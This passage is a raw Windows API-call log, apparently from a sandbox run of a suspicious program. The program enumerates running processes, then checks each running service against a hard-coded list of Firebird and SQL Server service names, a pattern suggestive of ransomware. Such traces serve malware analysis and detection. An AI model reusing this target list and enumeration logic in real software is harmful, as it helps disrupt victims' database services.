th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.117] lstrlenW (lpString="services.exe") returned 12 [0271.117] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.119] lstrlenW (lpString="lsass.exe") returned 9 [0271.119] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0271.120] lstrlenW (lpString="lsm.exe") returned 7 [0271.120] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.256] lstrlenW (lpString="svchost.exe") returned 11 [0271.256] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.257] lstrlenW (lpString="svchost.exe") returned 11 [0271.257] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.258] lstrlenW (lpString="svchost.exe") returned 11 [0271.258] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.259] lstrlenW (lpString="svchost.exe") returned 11 [0271.259] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.260] lstrlenW (lpString="svchost.exe") returned 11 [0271.261] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.262] lstrlenW (lpString="audiodg.exe") returned 11 [0271.262] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.263] lstrlenW (lpString="svchost.exe") returned 11 [0271.264] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.265] lstrlenW (lpString="explorer.exe") returned 12 [0271.265] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.266] lstrlenW (lpString="dwm.exe") returned 7 [0271.266] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.267] lstrlenW (lpString="svchost.exe") returned 11 [0271.267] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0271.268] lstrlenW (lpString="driver.exe") returned 10 [0271.268] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.270] lstrlenW (lpString="spoolsv.exe") returned 11 [0271.270] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0271.270] lstrlenW (lpString="taskhost.exe") returned 12 [0271.271] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.272] lstrlenW (lpString="svchost.exe") returned 11 [0271.272] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0271.273] lstrlenW (lpString="reader_sl.exe") returned 13 [0271.273] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0271.274] lstrlenW (lpString="taskhost.exe") returned 12 [0271.274] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0271.275] lstrlenW (lpString="dllhost.exe") returned 11 [0271.275] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0271.277] lstrlenW (lpString="consent.exe") returned 11 [0271.277] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0271.278] CloseHandle (hObject=0x3b0) returned 1 [0271.280] Sleep (dwMilliseconds=0x1f4) [0272.124] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3068 [0272.125] EnumServicesStatusExW (in: hSCManager=0x41c3068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0272.126] GetLastError () returned 0xea [0272.126] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x41a2db8 [0272.126] EnumServicesStatusExW (in: hSCManager=0x41c3068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41a2db8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41a2db8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0272.128] CloseServiceHandle (hSCObject=0x41c3068) returned 1 [0272.129] lstrlenW (lpString="Appinfo") returned 7 [0272.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0272.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0272.129] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0272.129] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0272.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0272.130] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0272.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.130] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0272.130] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0272.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0272.130] lstrlenW (lpString="AudioSrv") returned 8 [0272.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0272.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0272.131] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0272.131] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0272.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0272.131] lstrlenW (lpString="BFE") returned 3 [0272.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0272.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0272.131] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0272.131] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0272.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0272.131] lstrlenW (lpString="CryptSvc") returned 8 [0272.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0272.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0272.132] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0272.132] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0272.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0272.132] lstrlenW (lpString="CscService") returned 10 [0272.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0272.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0272.132] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0272.132] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0272.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0272.132] lstrlenW (lpString="DcomLaunch") returned 10 [0272.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.133] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0272.133] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0272.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0272.133] lstrlenW (lpString="Dhcp") returned 4 [0272.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0272.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0272.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0272.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0272.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0272.133] lstrlenW (lpString="Dnscache") returned 8 [0272.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0272.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0272.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0272.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0272.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0272.134] lstrlenW (lpString="DPS") returned 3 [0272.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0272.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0272.134] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0272.134] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0272.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0272.134] lstrlenW (lpString="eventlog") returned 8 [0272.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0272.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0272.135] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0272.135] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0272.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0272.136] lstrlenW (lpString="EventSystem") returned 11 [0272.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0272.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0272.136] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0272.136] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0272.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0272.136] lstrlenW (lpString="gpsvc") returned 5 [0272.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0272.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0272.136] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0272.136] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0272.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0272.137] lstrlenW (lpString="iphlpsvc") returned 8 [0272.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0272.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0272.137] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0272.137] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0272.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0272.137] lstrlenW (lpString="LanmanServer") returned 12 [0272.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0272.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0272.138] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0272.138] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0272.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0272.138] lstrlenW (lpString="LanmanWorkstation") returned 17 [0272.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.138] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0272.138] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0272.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0272.138] lstrlenW (lpString="lmhosts") returned 7 [0272.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0272.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0272.139] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0272.139] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0272.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0272.139] lstrlenW (lpString="MMCSS") returned 5 [0272.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0272.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0272.139] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0272.139] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0272.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0272.139] lstrlenW (lpString="MpsSvc") returned 6 [0272.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0272.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0272.140] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0272.140] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0272.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0272.140] lstrlenW (lpString="Netman") returned 6 [0272.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0272.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0272.140] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0272.140] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0272.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0272.140] lstrlenW (lpString="netprofm") returned 8 [0272.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0272.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0272.141] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0272.141] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0272.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0272.141] lstrlenW (lpString="NlaSvc") returned 6 [0272.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0272.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0272.141] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0272.141] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0272.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0272.141] lstrlenW (lpString="nsi") returned 3 [0272.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0272.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0272.142] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0272.142] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0272.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0272.142] lstrlenW (lpString="PcaSvc") returned 6 [0272.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0272.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0272.142] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0272.142] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0272.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0272.143] lstrlenW (lpString="PlugPlay") returned 8 [0272.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0272.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0272.143] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0272.143] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0272.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0272.143] lstrlenW (lpString="Power") returned 5 [0272.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0272.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0272.143] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0272.143] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0272.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0272.144] lstrlenW (lpString="ProfSvc") returned 7 [0272.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0272.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0272.144] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0272.144] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0272.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0272.144] lstrlenW (lpString="RpcEptMapper") returned 12 [0272.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.144] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0272.144] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0272.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0272.145] lstrlenW (lpString="RpcSs") returned 5 [0272.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0272.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0272.145] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0272.145] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0272.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0272.145] lstrlenW (lpString="SamSs") returned 5 [0272.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0272.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0272.145] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0272.145] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0272.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0272.146] lstrlenW (lpString="Schedule") returned 8 [0272.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0272.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0272.146] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0272.146] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0272.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0272.146] lstrlenW (lpString="SENS") returned 4 [0272.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0272.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0272.147] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0272.147] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0272.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0272.147] lstrlenW (lpString="ShellHWDetection") returned 16 [0272.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.147] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0272.147] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0272.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0272.147] lstrlenW (lpString="Spooler") returned 7 [0272.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0272.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0272.148] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0272.148] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0272.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0272.148] lstrlenW (lpString="SysMain") returned 7 [0272.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0272.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0272.148] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0272.148] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0272.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0272.149] lstrlenW (lpString="Themes") returned 6 [0272.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0272.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0272.149] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0272.149] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0272.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0272.149] lstrlenW (lpString="TrkWks") returned 6 [0272.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0272.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0272.149] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0272.149] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0272.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0272.150] lstrlenW (lpString="UxSms") returned 5 [0272.150] lstrcmpiW 